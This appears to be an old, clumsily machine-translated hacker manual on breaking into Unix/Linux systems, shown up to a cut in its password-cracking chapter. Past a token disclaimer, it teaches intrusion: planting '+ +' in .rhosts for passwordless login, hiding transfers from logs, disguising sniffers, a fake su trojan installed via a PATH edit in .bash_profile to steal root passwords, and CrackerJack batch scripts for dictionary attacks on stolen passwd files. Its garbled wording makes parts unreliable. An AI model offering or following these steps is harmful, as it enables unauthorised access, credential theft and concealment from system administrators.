Hacking Linux Basics For Hackers - Alexander Aronowitz
Hacking Linux Basics For Hackers - Alexander Aronowitz
1st edition
By Alexander Aronowitz
FUCK! to all those who use their computer skills to create
casino in our community, those who destroy sites for the pleasure of
to do it.
FUCK! to those who use the internet to engage in child trafficking and who
supports pedophiles !!! We invite, as SD colleagues did, a
destroy pedophile sites with mailbombs or notify the authorities .....
Finally, we greet you and wish you a good read ...
Note :
THIS DOCUMENT CONTAINS CODE IN C - MAKE SURE NOT TO
SAVE ANYONE
MODIFICATION.
If you have any other Exploits, bugs, sniffers or utilities that are not present
in this one
text, please send an E-Mail to: [email protected]
In this way we can keep you constantly updated on the latest versions
of this toolkit!
-------------------------------------------------- ----------------------------
Content List:
notice
Preface
Chapter I - Unix commands you absolutely must know.
1A. Basic commands
How to return to your home directory
How to easily reach a user's home directory
How to see which directory you are in
How to get a complete manual of each command
1B. Telnet
Unix file permissions
Unix groups
How to change permissions and groups
1C. Rlogin
.rhosts
How to prepare a .rhost file for login without password
1D. FTP
Connect to the site, but never outside of it.
Using prompts, hashes and bins
Using get, put, mget and mput
1E. GCC (unix compiler)
How to insert a file into a system without having to upload it
How to copy files to your home directory in an easy way
How to compile C programs
How to rename programs in C
How to load programs in the background while you are disconnecting
Check processes using ps
Chapter II - Getting started (your first account)
2A. How to crack password files
How to get hundreds of accounts with your first 'hacked account'
Because you really need a cracked password on a system
How to get the root password in an unassailable system
Using a fake SU program
Fake program documentation on
How to get the Sysadm password
How to read .bash_history
Cracker jack - a good password cracker
How to use Cracker jack
Vocabulary file
What you need to get started
Edit the vocabulary file
Hash file for use with Cracker Jack and your vocabulary file
Hash file for use with Cracker jack and your Password file
2B. Speaking with some Novellini
How to find newbies
How to get their passwords
2C. The most complicated road.
Using finger @
Where could the password be?
Get more information from finger.
A small .c file to use if you have made progress.
Write a little Perl script that does the job for you.
How to get a domain list of all domains from rs.internic.net
A Perl script to break down domains and put them in order in a list
readable
How to run the script in Perl
2D. Use mount to gain access to Unix systems
What is nfs mount
What you need to get started
How to verify that drives can be mounted on a system
A script to look for systems on which nfs mount is possible
How to mount the system
How to unmount the system
A live demonstration
Mounting the drive
See user directories
Edit the local machine password file
How to put a .rhosts file in user directories
How to rlogin into user accounts
Chapter III - How to get the Password file.
3A. PHF
What is phf
Use lynx or Netscape to access phf
Find the user id via WWW
How to see if you are rooted via phf
How to find the password file with phf
Make a backup copy of the victims' password file
Change a user's password with phf
Reset old passwords.
A .c file to send commands to phf from your shell
How to use the phf shell file
Another way to use phf - Quantum Text
BindWarez file by Quantum
A perl script that tests EVERY domain on the Internet and logs access
root and recovers the password files for you all day by staying in
background.
Documentation for the script just mentioned
Get accounts from / var /? / Messages
A script to get passwords if you have access to / var /? / Messages
3B. Novellini
3C. Get the shadow passwd files
What is a shadow passwd
Get the shadow file without the root account
A .c file to recover any file without the root account
3D. Go to / etc / hosts
why go to / etc / hosts
Chapter IV - Earning the Root Account
What to do if you are unable to gain root access on the system
4A. Bugs
Introduction
4B. Exploits
The exploit via mount / unmount
What are SUID perm's
The .c file for unmount
How to compile unomunt.c
Linux exploit via lpr
.C file for Linux exploit via lpr
The .c file for the exploit with lpr (version for BSD)
How to use lpr
Watch group owners with lpr
Use lpr for the first root, then do a SUID shell
How to get a SUID root shell for future root logins
The Exploit with splitvt
.C program for the exploit with splitvt
How to use the splitvt program for the exploit
The shell script for the root exploit with Sendmail 8.73 - 8.83
How to use the sendmail exploit to get root access
Chapter V - Make yourself invisible
Maintain access
5A. Zap2 (for wtmp / lastlog / utmp)
Finger the host before login
Log in and stay safe
How to configure Zap2
Find the location of the log file
The zap.c
5B. Other scripts
wted editor for wtmp
How to chmod the wtmp.tmp file
How to copy wtmp.tmp file to wtmp
Set the path for the wtmp file in wted
the wted.c file
Clean the lastlog with lled
Command line for lled
How to use lled
How to chmod the lastlog.tmp file
How to copy the lastlog.tmp file to lastlog
Set the path for the lastlog file in lled
The lled.c
A good perl script for editing wtmp, utmp files and controlling
processes
Chapter VI - Deleting Log Files
6A. A ride in a hacked system
Let's log into the system
We are looking for the admin
Nested directories
Prepare the Root file
Becoming invisible
Grep the log directory
Snort the net
Edit the linsniffer.c file
Take a look at the running processes
Compile and call the sniffing program
Start a sniff session
Change access to files in the group
Make a suid root shell trojan to get uid = 0 gid = 0 every time
Call the Trojan
Change the date of the files
Check the sniffer log file
Empty the contents of the history files
Use unset for history files.
6B. Messages and syslog
How to find logs using /etc/syslog.conf
How to see if there are logs in hidden directories
How to see if logs are posted to user accounts
How to see if the logs are going to another machine
How to edit syslog.conf to hide logins
Restart syslogd
How to see if there is a secret su log by reading /etc/login.defs
6C. xferlog.
How to edit xferlog
How to grep and edit the logs www
How to search for ftp logs
Other ways to edit log texts
Use grep -v
A script to extract lines of text from these logs
Restart syslogd
6D. The crontabs
How to find and read root or admin crontabs
How to see if MD5 is set on the machine
What is MD5
Chapter VII - Maintaining Access to the Machine
7A. Tricks and secrets
When you get caught by admin
What to expect from admin
History files
Nested directories
Insert Trojans
Hidden directories
Creating new commands (trojans)
Add or change parts of the passwd file
Change some admin account with null password
The best way to add an account
Edit an empty account so that you can log in
Install some exploitable games or programs
How to know your admin
Read system mail (without updating pointers)
What to look for in the mail directory
A program for reading mail without updating pointers
7B. Backdoors
7C. Root Kits and trojans
What are Root Kits
What are Demon kits
What Trojans Do
************************************************** *******
* Appendix I - What to do after login *
************************************************** *******
Checklist from a to z
************************************************** **
* Appendix II - WWW / ftp Hacking / Security Sites *
************************************************** **
************************************************** *******
* Appendix III - UUENCODATED FILES *
************************************************** *******
1. Quantum's Bindwarez - Binary files for PHF
2. Demon Root Kit - Includes: Banish, DemonPing, DemonSu,
DemonTelnet
3. Linux Root Kit - Includes: Login, Netstat, and, PS
4. Fake SU program
**********
Notice!!!
**********
True, this manual will help hackers get into systems but it is from
also consider itself as a guide for Sysadm to deal with problems
concerning safety and to know what the elements to be
check in order to keep hackers out.
If you use this manual to gain access to any system to which
you do not belong and you damage any part of it you are punishable by law.
I'm not saying get into the systems, I'm just saying something of my own
experience and the things I would do if I entered my own system.
This is just information ....
**********
Preface
**********
Ok, let's get started. If you are going to hack, you have to do it for one
reason. All hackers have a reason for doing this. Most only have
thirst for knowledge. Most of what I know I have learned in some service
provider or on someone else's machine.
I am one who relies heavily on personal experience.
If I had to study what I know, I would have had to read 20,000 books just
for
know something about some configuration files, about the email messages
of the
administrators, .bash_history files, and something else on some other
systems.
Here in this manual you should learn how to be a "complete hacker" and
develop your own style. It won't take long but it will take some experience
before you can really consider yourself a hacker.
It is not enough to know how to crack a password file and enter a unix
machine
to consider yourself a hacker.
Ok, you know how to get root access in a system! You are not a hacker yet!
First you need to know why you are a hacker and then have your own style
and your own
philosophy. It takes a purpose and a reason to enter any system.
The real hacker knows why he is doing something, and he does it for
reasons like
knowledge, information, and ACCESS. The real hacker will turn a hack
into
logins to many different systems and providers and will keep these logins
for
future knowledge and for more information.
The cheap hackers will not be invisible and will do a lot of nonsense
such as: deleting and corrupting data, dropping cars, launching bots or
IRC clients from root accounts or give everyone the passwords he cracked
to let everyone know that he knows how to hack. Or he could be doing
nonsense
which will lead him to be caught. I think sometimes this is done with
I intend to draw attention to himself so as to be caught and
announce that I'm hackers, and that he was there too!
A true hacker does not seek this kind of glory, he wants access and he wants
keep it and be invisible! He won't tell many friends about the system,
will not give out passwords or accounts and will keep others
outside in order to maintain access and keep it as clean as possible.
Here in this manual I hope I have put in enough style so that you can
really take an interest in this work and become a real good hacker!
HAPPY HACKING !!!
Chapter I.
Unix commands to know.
--------------------------
There are only a few basic commands to learn, and then some programs as
well
unix that will help you connect, break into the system or maintain
access to a machine.
Call your local Internet Provider and ask them for a shell account so
you can learn and practice these basic commands. A normal
shell account is generally not expensive.
----------------
Section 1A
Basic commands
----------------
I hope you have a basic knowledge of DOS, which will help you a little and
I'll go
from this assumption during the drafting of this manual.
On the left are the DOS commands, on the right the corresponding UNIX
commands:
REMEMBER: Unix is case-sensitive, so if you use lowercase here you
have to
you too; if I use the space you have to do it too. Dos will let you pass
many of these things: unix NO!
DIR / W = ls
DIR = ls -l
DIR / AH = ls -al AH = (hidden) -al = (also includes hidden files)
RENAME = mv
ATTRIB = chmod
MD = mkdir
RD = rmdir
DEL = rm
COPY = cp
These are the basic commands, I suggest you look at the manual of each
of these commands directly from the unix shell. You can do this by typing:
man command
Each of these commands has switches, such as cp -R to copy files and
directory. So you should write:
man cp to see all the switches you can use with the copy command.
cd (then hit ENTER) will always take you to your home directory
cp filename $ HOME will copy the file to the home directory.
cd ~ username will take you to that user's home directory, assuming you
has access to it
pwd (hit ENTER) will tell you which directory you are in
-------------
Section 1B
Telnet
-------------
Telnet is a command you can use from a shell account, or from an exe file
(telnet.exe) from Windows, OS / 2 and Windows 95 and other OS's that
allow
connect to other machines on the network. There are other programs that
you will know here, like FTP and rlogin you can use but now we will use
telnet.
You can use telnet if you know the IP address or host name you want to
connect. To use the command you only need the telnet program for
connect to the IP or host like this:
Telnet netcom.com or telnet 206.146.43.56
OK, and now login:
telnet machine.com
trying .....
Connected to machine.com
Linux 2.0.28 (machine.com) (ttyp0)
machine login: username
password:#######
bash $
Your prompt may look different, but we'll use this one.
Note above that you will be told which OS runs on the machine you are on
connected.
You can use this if you collect a large collection of passwd files. Before
start cracking them, sort them by type of O / S by just telnet in
so you know what system they use.
There are other ways, but let's keep this topic for a moment, telnet
domain.name.com, after seeing what runs on a machine take note and
press CTRL J to close the connection.
Put all your passwd files together in one pile that you will need to crack
first .. All you need is an account that works for that system, and
we'll be pretty sure we'll get root permissions on that machine! There are
so many holes in linux that you think you can't penetrate one of them
cars!
OK, now we can enter the wonderful world of hacking
----------------------
Unix file permissions
----------------------
bash $
bash $ cd / tmp
bash $ ls -l
total 783
-rwx ------ 1 wood users 1 Jan 25 18:28 19067haa
-rw-r - r-- 1 berry mail 1 Jan 16 12:38 filter.14428
-rw ------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598
-rw ------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600
drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens
First thing: we need to use the slash (/) instead of the back-slash (\) for
access the tmp directory! Unix uses / for the root directory, as opposed to
DOS that uses the \ symbol
Note that we used ls -l for the directory in "full-page" format. Self
if we had used 'ls' we would have obtained what is below.
bash $ ls
19067haa filter. 14428 pop3a13598 pop3a13600 screens
With what we see here we can't say much, so we will mostly use ls -
al with -al we will also see hidden files, directories and hidden files
will always start with '.'. Now watch:
bash $ ls -al
total 794
drwxrwxrwt 4 root root 8192 Jan 25 23:05.
drwxr-xr-x 22 root root 1024 Dec 28 18:07 ..
-rw-r - r-- 1 berry users 6 Jan 25 23:05 .pinetemp.000
drwxr-xr-x 2 berry users 1024 Jan 25 23:05 .test
-rwx ------ 1 wood users 1 Jan 25 18:28 19067haa
-rw-r - r-- 1 berry mail 1 Jan 16 12:38 filter.14428
-rw ------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598
-rw ------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600
drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens
.pinetemp.000 is a hidden file, and .test is a hidden directory.
-rw-r - r-- 1 berry mail 1 Jan 16 12:38 filter.14428
row 1 row2 row3
----------------------------
Now we need to learn about permissions, users and
groups.
Line # 1 indicates the file permissions
Line # 2 indicates who owns the file
Line # 3 indicates the group to which the file belongs
File permissions are grouped into 3 different groups.
If the line begins with a d, it is a directory, if there is no d, it is a file.
- --- --- ---
| | | | --------> Other = Anyone accessing the machine
| | | ------------> Group = some groups can access
| | ----------------> User = Only the owner can access
| ------------------> Directory Marker
- rw- r-- r--
| | | | --------> 'Other' can only read files
| | | ------------> 'Group' can only read the file
| | ----------------> 'User' can write the file
| ------------------> It is not a directory
- rwx rwx rx
| | | | --------> 'Other' can read and execute the file
| | | ------------> 'Group' can read and execute the file
| | ----------------> 'User' can write and execute the file
| ------------------> It is not a directory
The owner is the user name in line # 2 and the group name is the name in
row # 3. In DOS, files have the extension .exe, .com, or .bat for
executables, but in unix just the --x in your group 'user', 'other' and
'group'
You can change these permissions if you are the owner of the file or if you
are ROOT:
-------------------------------------------------- -------------------------
chmod oug + r filename will give read access to the file for all three groups
chmod og-r filename will make the file readable only by the user who owns
the
file. (note that - or + set the truth value of the file parameter).
chmod + x filename will make the file executable by everyone.
chown username filename will make the file property of another user
chgrp groupname filename will make the file owned by another group
-------------------------------------------------- -------------------------
Be careful not to change file permissions or they will kick you out of the
system. Changing your system configurations might just blow others up
it works, so keep your paws off if you don't want to get caught!
Only do what you are * SURE * of. Use only commands you know, you
could
find yourself spending hours doing a fix like this:
chown -R username / * It might keep you busy for a year! :)
Just be careful!
We will learn more about this stuff when it sevira '.
------------------
Section 1C
Rlogin
------------------
There is another command you can use that we will delve into elsewhere
when we say
how to use rlogin to log into a system without a password.
For now, read the rlogin manual using man rlogin from your shell.
The basic command will be:
rlogin -l username hostname
connecting ....
password:
bash $
Rlogin requires the user to have a home file that tells which system from
you can do rlogin. This .rhosts file should look like this:
username hostname (or) hostname
If you add + + to this file, it will let anyone from any host enter
without password.
This file should look like this:
----- cut here ------
++
_____ cut here ------
If there are already entries you could add + + under their host names, but
remember they will now notice they can log in with rlogin without a
password.
You should target people who don't have a .rhosts file yet
---------------
Section 1D
FTP
---------------
Another way to login is with FTP. You can use a windows client, or even
login from a shell.
ftp ftp.domain.com
This will allow you to upload and download from the site you hack.
Remember to edit the xferlog (see section 6d) to cover your tracks
in the system. REMEMBER! You must NEVER do ftp or telnet out of the
system where
you have penetrated, only work inside! If you come from your own system,
or from
another account hacked maybe you are giving your login and password to
the
sysadm or another hacker on that system. There might be a trojan
telnetd or ftpd loaded into the system, or even a sniffer, now you may have
given
to someone your login and password. And if that someone is the sysdam, it
could
to think that revenge is sweet;)
Using ftp from shell, I suggest some commands:
After logging in, type the following commands at the prompt by pressing
enter afterwards
each of them.
prompt
hash
bin
prompt will allow you to use commands like (mget *) or (mput *) and
transfer
the entire directory without being prompted for confirmation for each file.
hash marks
hash will show ########### on the screen so you can see the speed
of the transfer.
bin will ensure you get the files right, and if you are transferring a
binary file can be decompressed.
The transfer commands are simple, get filename, o, put filename, or per
many files you can use wild cards with mput and mget.
--------------------
Section 1E
GCC compiler
--------------------
There will be a time when you need to compile a .c file
It is best to compile it on the machine you are working on. So upload o
use 'Copy and Paste' on the hacked box and compile the source there. Six
you have
problems with their compiler try to upload the precompiled file.
One way to send the file to the victim machine should be to
use 'copy & paste'. Find a good tsr or windows shareware to do
that is, if you have no way now. You can copy the script from one
window to another in an editor of the victim machine and like this
there will be no download log of ascii files.
To copy and paste you can try to open an editor on the hacked box and
copy from the other session, and then paste the script into the editor and
save the
file. This way there will still be nothing in the xferlog.
You can do the same thing with the password file. If you decide to
download the
passwords with ftp, remember to copy it to your Home with a different
name.
bash: / etc:> cp passwd $ HOME / plog will copy the file named passwd
from the
directory / etc where you are at your Home in a file called plog instead of
passwd.
SySaDm grep xferlogs looking for who is downloading the
password.
Another way to send / receive files to / from the hacked box without
appearing in
logs is to open an IRC session on the victim machine, then on the other one
session in which you are already a user on IRC, send a file using DCC.
The command to send the files is / dcc send <nick> <file>
It would be handy if you had a bot uploaded to IRC when you are doing
hacking so you could send the files to the bot and let it receive them
automatically.
A 'bot' is a robot program that you can load in the background in the shell
account and will take care of receiving files, keeping channels open, etc ...
The GCC Compiler is simple ...
gcc filename.c -o your name
You were going to compile a program called z2.c which clears log files
I would write this:
gcc z2.c -o zap
I would get an executable file called zap
If you just write gcc z2.c you will get a file called a.out, this is the
executable e
you can rename for example as Zap with the command
mv a.out Zap
There will now be a file called Zap which will be executable instead of
a.out.
You'll want to make sure you don't call a file with a name identifiable from
the
SYSadm: if you have a sniffer called linuxsniffer.c, at compile time,
it would be better to change the name. For example:
gcc linuxsniffer.c -o lsn
Also remember that sometimes to run these files directly in the directory
you just have to type the filename followed by <Enter>.
Sometimes it may not work unless you precede with ./ the name
of the executable, ie'lsn would become
./lsn
Sometimes you will need to run a program in the background even after the
logoff, as in the just mentioned case of the sniffer. In this case you may
want
call the sniffer with a name that is difficult to identify.
Do it according to your style. BUT to make it stay in the background while
we are not
logged in you have to run the command followed by &
lsn &
If you just type lsn, the screen will freeze and you will not be able to type
while you do so
sniffing but if you type lsn & the sniffer will be loaded and you will have
the
prompt.
The system will let you know that it has been loaded by giving you the # of
the process id
assigned to the program.
You can see the processes with the ps -x command, you may want to
launch
ps -auxe | more
a = all
u = show user
x = yours
e = env
On some machines
f = tree
or the command: pstree
------------------------------------
Chapter II
Let's begin! (your first account)
------------------------------------
There are many ways to get an account to get started. I'll cover each
topic to help you get started.
All you need is a good account to whip out hundreds of them.
Think about it; Potentially every linux machine is a good system that can be
tackled. ;)
You now have root access and upload a sniffer. The TCP sniffer will look
for i
login processes to the network and will log the login and password for each
telnet, ftp, or dial-in connection that is made to the outside or to
the inside of the system.
Even though it is a small ethernet connection, there are around a hundred
passwords for a few machines or domains. If it is a larger net provider you
will get
hundreds of accounts around the world. All you need is a good accout
and a password for a system to be conquered. If it seems like it can't be
done
the root exploit might be a good way to crack passwords
and swap accounts for other accounts with hackers or IRC users who stand
trying to load a bot but who don't have a shell account or space on
drive to do it.
NEVER exchange even a single password for a system you have obtained
root access. Keep these systems to yourself!
Now let's see how to get your first account.
------------------------------
Section 2A.
Cracking on the passwd file
-----------------------------
Why keep cracking passowrd for a system you can get
anyway most passwords in 24 hours? Not just for the hacked box
but for all other machines it is connected to. If the system is unconquerable,
don't waste time, go to the next one! You can exchange passwords later
that you cracked.
If you get a cracked administrator account you may want to read his
history-files and see if it usually uses the su command to access root a lot.
If so, you can use a Trojan on him. This will find out the password for you
root.
It works like this: you change your shell script so that there is a directory
hidden (.term) is fine, that it is set in the path before all the others. Put
a fake-su in .term (or another directory). Admin types 'su', everything seems
run, type the root password the password is copied to a log file in
/tmp/.elm69, and the su trojan deletes itself and reports a password error
saying
to try again. The admin thinks he has done something wrong and launches
again
come on, but now everything is ok and he can log in.
You will find the fake su in the last appendix called 'uuencodati file'.
Fake Su by Nfin8 - ie
IRC: / msg ie
1,2,3 ... that's it!
1. Change the path to one of the user accounts in which you verified
through the
history-file that the owner uses SU, put the directory at the top of the path
where the SU file trojan is located. .term or .elm will do!
2. Make sure you edit the start of the su.c file to put the path where the file
is
it will be found once filled, so you can auto-cancel and leave
placed at true SU for the second attempt.
3. Put all the files in the target directory and compile su.c
gcc su.c -or su
Now delete all files except su. Done!
.bash_profile would become something like this:
# .bash_profile
# Get the aliases and functions
if [-f ~ / .bashrc]; then
. ~ / .bashrc
fi
# User specific environment and startup programs
PATH = $ PATH: $ HOME / bin
ENV = $ HOME / .bashrc
USERNAME = ""
export USERNAME ENV PATH
Change the first line to: PATH = $ HOME / .term: $ PATH: $ HOME / bin
When the sysadm runs 'SU' it will launch the trojan in the .term directory e
will report the message that the password entered is incorrect, the SU
Trojan will have
put a hidden file in the / tmp directory for you which contains the password
of
root (or the account password) that was typed. If it's an account
rather than root you will be able to know the account name. Then the trojan
on yes
will delete so that the next time the real SU will start.
You can find the admin password in the initial section of the
password in the / etc directory. Type: more passwd
You can rest assured that the first two real accounts found in the password
file
they are administrators.
Sometimes you can find others in their respective directories which are
listed in the
passwd file.
Like / staff / username.
History files are in each user account directory. You can read them for
see what are the last commands typed by the user. Sometimes too
more than 100 commands. Look for the .bash_history, or History file, you
can read them with
more command. more .bash_history, or you can often use more .b * or
type more .b (and then press the TAB key on your keyboard).
Ok, now you need a good password cracker. In the next
chapter you will find out how to get the passwd file on systems where you
own
an account, but you still need a password cracker !!
You need 3 things.
1. Password cracker program
2. A good word file
3. A password file
(NB the passwd file must be as updated as possible, otherwise
you risk wasting time with passwords that have already been changed by
owners)
The best passwd cracking program should be CRACKERJACK (also John
the Ripper works really well!) Both can be searched easily on
Web. Download, for example, crackerjack. If you are a little more
experienced you can download
a version of cjack for unix and run it in a shell. But if you're starting out,
look for the DOS / OS2 version.
Also look for a good Word file. The best contain names.
You will find that the least secure passwords are the users' girls names or
names of the users' boys;)) You will find wordfiles of the type
'familynames'
'babynames'' girlsnames' 'boysnames'' commonpasswords' Hackersdict 'and
file
similar should be a good choice.
launch crackerjack like this:
[D: \ jack] jack
Cracker Jack version 1.4 for OS / 2 and DOS (386)
Copyright (C) 1993, The Jackal, Denmark
PWfile (s): domain.com.passwd
Wordfile: domain.com.passwd
First run the passwd file as wordfile. This will allow you to
get all the accounts of anyone who uses their name as a password, albeit
they used other info such as their company name will be
discovered right away and you won't have to wait for wordfile search.
If you want to create a hash word file to get more possibilities, read the
crackerjack documentation.
Hashing allows crackerjack to change the case of the wordfile or even of
add numbers and letters at the beginning or end of words in the wordfile,
like sandy1 or 1sandy. You will find that many users do this and believe
they do
be safer.
You can find hashing files here for both wordfiles and passwds. After
having analyzed them you will see how you can modify them or create new
ones depending on
of the situation.
------------ Start of discthash.bat
------------ start of dicthash.bat
@echo off
concrete
echo - THIS FILE FOR DOS MACHINES
echo ------------------------------------------------- ---------------------
echo - To work this batch file have all of the crackerjack files in the
echo - current directory with this batch file, along with your dict and
echo - password file. Then use this batch file using the following format:
echo -
echo - dicthash.bat dictfilename.ext passwordfilename.ext
echo -
echo - Make sure to have the jpp.exe and jsort.exe files in your dir as well.
echo -
echo - dicthash will first load jack running the dict file against your
echo - password file in both cases, then it will add numbers 0-9 both to
echo - the begining and end of every dict word. This will take a while,
echo - so go out for that week vacation!
echo -
echo - If you get tired you can 'ctrl c' to the next option or number.
echo -
echo - [email protected]
echo -
echo - Mail me some of your hits, let me know how this works for you;)
jpp -lower% 1 | jack -stdin% 2
jpp% 1 | jack -stdin% 2
jpp -dot: 0% 1 | jpp -translate: .1 | jack -stdin% 2
jpp -dot: 7% 1 | jpp -translate: .1 | jack -stdin% 2
jpp -lower -dot: 0% 1 | jpp -translate: .1 | jack -stdin% 2
jpp -lower -dot: 7% 1 | jpp -translate: .1 | jack -stdin% 2
jpp -dot: 0% 1 | jpp -translate: .2 | jack -stdin% 2
jpp -dot: 7% 1 | jpp -translate: .2 | jack -stdin% 2
jpp -lower -dot: 0% 1 | jpp -translate: .2 | jack -stdin% 2
jpp -lower -dot: 7% 1 | jpp -translate: .2 | jack -stdin% 2
jpp -dot: 0% 1 | jpp -translate: .3 | jack -stdin% 2
jpp -dot: 7% 1 | jpp -translate: .3 | jack -stdin% 2
jpp -lower -dot: 0% 1 | jpp -translate: .3 | jack -stdin% 2
jpp -lower -dot: 7% 1 | jpp -translate: .3 | jack -stdin% 2
jpp -dot: 0% 1 | jpp -translate: .4 | jack -stdin% 2
jpp -dot: 7% 1 | jpp -translate: .4 | jack -stdin% 2
jpp -lower -dot: 0% 1 | jpp -translate: .4 | jack -stdin% 2
jpp -lower -dot: 7% 1 | jpp -translate: .4 | jack -stdin% 2
jpp -dot: 0% 1 | jpp -translate: .5 | jack -stdin% 2
jpp -dot: 7% 1 | jpp -translate: .5 | jack -stdin% 2
jpp -lower -dot: 0% 1 | jpp -translate: .5 | jack -stdin% 2
jpp -lower -dot: 7% 1 | jpp -translate: .5 | jack -stdin% 2
jpp -dot: 0% 1 | jpp -translate: .6 | jack -stdin% 2
jpp -dot: 7% 1 | jpp -translate: .6 | jack -stdin% 2
jpp -lower -dot: 0% 1 | jpp -translate: .6 | jack -stdin% 2
jpp -lower -dot: 7% 1 | jpp -translate: .6 | jack -stdin% 2
jpp -dot: 0% 1 | jpp -translate: .7 | jack -stdin% 2
jpp -dot: 7% 1 | jpp -translate: .7 | jack -stdin% 2
jpp -lower -dot: 0% 1 | jpp -translate: .7 | jack -stdin% 2
jpp -lower -dot: 7% 1 | jpp -translate: .7 | jack -stdin% 2
jpp -dot: 0% 1 | jpp -translate: .8 | jack -stdin% 2
jpp -dot: 7% 1 | jpp -translate: .8 | jack -stdin% 2
jpp -lower -dot: 0% 1 | jpp -translate: .8 | jack -stdin% 2
jpp -lower -dot: 7% 1 | jpp -translate: .8 | jack -stdin% 2
jpp -dot: 0% 1 | jpp -translate: .9 | jack -stdin% 2
jpp -dot: 7% 1 | jpp -translate: .9 | jack -stdin% 2
jpp -lower -dot: 0% 1 | jpp -translate: .9 | jack -stdin% 2
jpp -lower -dot: 7% 1 | jpp -translate: .9 | jack -stdin% 2
jpp -dot: 0% 1 | jpp -translate: .0 | jack -stdin% 2
jpp -dot: 7% 1 | jpp -translate: .0 | jack -stdin% 2
jpp -lower -dot: 0% 1 | jpp -translate: .0 | jack -stdin% 2
jpp -lower -dot: 7% 1 | jpp -translate: .0 | jack -stdin% 2
---------------- end of dicthash.bat
---------------- start of jackhash.bat
@echo off
concrete
echo - THIS FILE FOR DOS
echo ------------------------------------------------- ---------------------
echo - To work this batch file have all of the crackerjack files in the
echo - current directory with this batch file, along with your password file.
echo - Then use this batch file using the following format:
echo -
echo - jackhash.bat passwordfilename.ext
echo -
echo - Make sure to have the jpp.exe and jsort.exe files in your dir as well.
echo -
echo - jackhash will first load jack running the passwd file against
echo - itself in both upper and lower cases, then it will add numbers 0-9
echo - both to the begining and end of every dict word. This will take
echo - a while, so go out for that week vacation!
echo -
echo - If you get tired you can 'ctrl c' to the next option or number.
echo -
echo - [email protected]
echo -
echo - Mail me some of your hits, let me know how this works for you;)
jpp -gecos: 5 -lower% 1 | jack -stdin% 1
jpp -gecos: 5% 1 | jack -stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate: .1 | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate: .1 | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate: .1 | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate: .1 | jack -stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate: .2 | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate: .2 | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate: .2 | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate: .2 | jack -stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate: .3 | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate: .3 | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate: .3 | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate: .3 | jack -stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate: .4 | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate: .4 | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate: .4 | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate: .4 | jack -stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate: .5 | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate: .5 | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate: .5 | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate: .5 | jack -stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate: .6 | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate: .6 | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate: .6 | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate: .6 | jack -stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate: .7 | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate: .7 | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate: .7 | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate: .7 | jack -stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate: .8 | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate: .8 | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate: .8 | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate: .8 | jack -stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate: .9 | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate: .9 | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate: .9 | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate: .9 | jack -stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate: .0 | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate: .0 | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate: .0 | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate: .0 | jack -stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate: .` | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate: .` | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate: .` | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate: .` | jack -stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate:. ~ | jack -stdin% 1
jpp -gecos: 1 -dot: 7% 1 | jpp -translate:. ~ | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 0% 1 | jpp -translate:. ~ | jack -stdin% 1
jpp -gecos: 1 -lower -dot: 7% 1 | jpp -translate:. ~ | jack -stdin% 1
jpp -gecos: 1 -dot: 0% 1 | jpp -translate:.! | jack -stdin% 1
